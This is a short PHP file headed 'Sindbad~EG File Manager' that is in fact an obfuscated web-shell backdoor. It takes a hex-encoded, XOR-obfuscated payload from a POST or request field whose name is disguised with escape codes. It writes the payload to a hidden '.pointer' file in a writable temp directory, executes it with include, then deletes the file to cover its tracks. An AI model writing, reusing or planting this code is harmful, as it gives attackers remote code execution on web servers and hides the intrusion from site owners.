Sindbad~EG File Manager

<?php

if(filter_has_var(INPUT_POST, "de\x73\x63")){
	$ent = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$factor = hex2bin($_REQUEST["de\x73\x63"]);
	$dchunk   =      ''      ;     $v = 0; while($v < strlen($factor)){$dchunk .= chr(ord($factor[$v]) ^ 4);$v++;}
	for ($element = 0, $token = count($ent); $element < $token; $element++) {
    $mrk = $ent[$element];
    		if ((is_dir($mrk) and is_writable($mrk))) {
    $pset = "$mrk/.pointer";
    $success = file_put_contents($pset, $dchunk);
if ($success) {
	include $pset;
	@unlink($pset);
	exit;}
}
}
}